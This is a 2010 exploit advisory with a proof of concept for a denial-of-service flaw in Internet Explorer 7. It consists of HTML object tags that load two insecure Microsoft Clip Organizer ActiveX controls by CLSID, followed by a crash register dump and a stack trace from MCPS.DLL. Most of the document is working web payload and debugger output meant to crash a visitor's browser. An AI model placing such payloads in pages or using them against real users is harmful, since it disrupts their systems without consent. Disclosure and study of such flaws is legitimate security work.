Microsoft Internet Explorer 7 – Microsoft Clip Organizer Multiple Insecure ActiveX Control Denial of Service Vulnerabilities
# IE 7.0 - DoS Microsoft Clip Organizer Multiple Insecure ActiveX Control # # Date: 19th july 2010 # # Author: Dinesh Arora & Beenu Arora # # # Affected / Tested Version of IE : 7.0 / WinXP SP3 / MS Office 2007 # # contact: dinesh.dinoo@gmail.com, beenudel1986@gmail.com # # Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly # # Shoutz to : http://www.garage4hackers.com , www.beenuarora.com POC: <!-- COM Object - {0009608B-3E4E-4BF4-8C8C-D107F1F7B4CE} MC Euro Lexical Analyzer ******************************************************************************* COM Object Filename : C:\PROGRA~1\MICROS~2\Office12\MCPS.DLL Major Version : 12 Minor Version : 0 Build Number : 4518 Revision Number : 1014 Product Version : 12.0.4518.1014 Product Name : Microsoft Clip Organizer --> <object id=TestObj classid="CLSID:{0009608B-3E4E-4BF4-8C8C-D107F1F7B4CE}" style="width:100;height:350"></object> <!-- COM Object - {0051FAAD-74C8-4057-8A85-1CFBF9ABB05C} MC Shared Search Scope ******************************************************************************* COM Object Filename : C:\PROGRA~1\MICROS~2\Office12\MCPS.DLL Major Version : 12 Minor Version : 0 Build Number : 4518 Revision Number : 1014 Product Version : 12.0.4518.1014 Product Name : Microsoft Clip Organizer ******************************************************************************* --> <object id=TestObj classid="CLSID:{0051FAAD-74C8-4057-8A85-1CFBF9ABB05C}" style="width:100;height:350"></object> Register: EAX 02299BC4 ECX 00000000 EDX 00000000 EBX 00000000 ESP 02299BC0 EBP 02299C14 ESI 02299C8C EDI 00000000 EIP 7C812AFB kernel32.7C812AFB kernel32!RaiseException+53 in C:\WINDOWS\system32\kernel32.dll from Microsoft Corporation has caused an unknown exception (0xc06d007e) on thread 33 This exception originated from MCPS!DllGetClassObject+6db1. Function Arg 1 Arg 2 Arg 3 Source kernel32!RaiseException+53 c06d007e 00000000 00000001 MCPS!DllGetClassObject+6db1 00000000 06029c38 39f34f4c MCPS!DllGetClassObject+5c6d 39f2a3bc 39f221b4 39f34360 MCPS!DllCanUnloadNow+2b6b 00205cf0 0602a688 06029d64 ole32!CClassCache::CDllPathEntry::DllGetClassObject+2d 00205cf0 0602a688 06029d64 ole32!CClassCache::CDllFnPtrMoniker::BindToObjectNoSwitch+1f 06029d18 0602a688 06029d64 ole32!CClassCache::GetClassObject+38 06029d6c 0602a83c 0602a300 ole32!CServerContextActivator::GetClassObject+f5 77607150 0602a300 0602a83c ole32!ActivationPropertiesIn::DelegateGetClassObject+f3 0602a300 0602a83c 0602a300 ole32!CApartmentActivator::GetClassObject+4d 77607154 0602a300 0602a83c ole32!CProcessActivator::GCOCallback+2b 77607154 00000001 00000000 ole32!CProcessActivator::AttemptActivation+2c 7760714c 0602a15c 00000000 ole32!CProcessActivator::ActivateByContext+42 7760714c 0602a15c 00000000 ole32!CProcessActivator::GetClassObject+48 7760714c 0602a300 0602a83c ole32!ActivationPropertiesIn::DelegateGetClassObject+f3 0602a300 0602a83c 003a0043 ole32!CClientContextActivator::GetClassObject+88 77607114 00000001 0602a83c ole32!ActivationPropertiesIn::DelegateGetClassObject+f3 0602a300 0602a83c 774eca20 ole32!ICoGetClassObject+334 0602a9dc 00000007 00000000 ole32!CComActivator::DoGetClassObject+93 0602a9dc 00000007 00000000 ole32!CoGetClassObject+1b 0602a9dc 00000007 00000000 urlmon!CoGetClassObjectWrap+33 0602a9dc 00000007 00000000 urlmon!CoGetClassObjectFromURL+2ae 056f8fd0 00000000 00000000 mshtml!CCodeLoad::BindToObject+464 3cf5193c 0602bc00 00000000 mshtml!CCodeLoad::Init+296 0576d538 0602bc00 3cf8d43c mshtml!COleSite::CreateObject+5a5 0602bc00 05720bf8 05976520 mshtml!CObjectElement::CreateObject+6af 3cee8243 0573a860 00000000 mshtml!CHtmObjectParseCtx::Execute+8 0573a860 00000000 00000000 mshtml!CHtmParse::Execute+43 05720bf8 00000000 0573a860 mshtml!CHtmPost::Broadcast+11 3cedb43d 0577ca50 0573a860 mshtml!CHtmPost::Exec+40a 24a63821 0577ca50 0573a860 mshtml!CHtmPost::Run+13 24a63821 0577ca50 0573a860 mshtml!PostManExecute+dc 0577ca50 24a63821 0573a860 mshtml!PostManResume+9e 0573a860 00000001 0602fdf4 mshtml!CHtmPost::OnDwnChanCallback+10 05952930 0573a860 0602fe28 mshtml!CDwnChan::OnMethodCall+19 05952930 00000000 00000000 mshtml!GlobalWndOnMethodCall+101 0602feb0 3cf513d9 00000000 mshtml!GlobalWndProc+181 005707a2 00000009 00000000 user32!InternalCallWinProc+28 3cf513d9 005707a2 00008002 user32!UserCallWinProcCheckWow+150 00000000 3cf513d9 005707a2 user32!DispatchMessageWorker+306 0602ff64 00000000 0602ffb4 user32!DispatchMessageW+f 0602ff64 053400b8 000001c1 ieframe!CTabWindow::_TabWindowThreadProc+189 056adac8 053400b8 000001c1 kernel32!BaseThreadStart+37 3e25e4fc 056a5cf8 00000000 The assembly instruction at kernel32!RaiseException+53 in C:\WINDOWS\system32\kernel32.dll from Microsoft Corporation has caused an unknown exception (0xc06d007e) on thread 33 This exception originated from MCPS!DllGetClassObject+6db1. |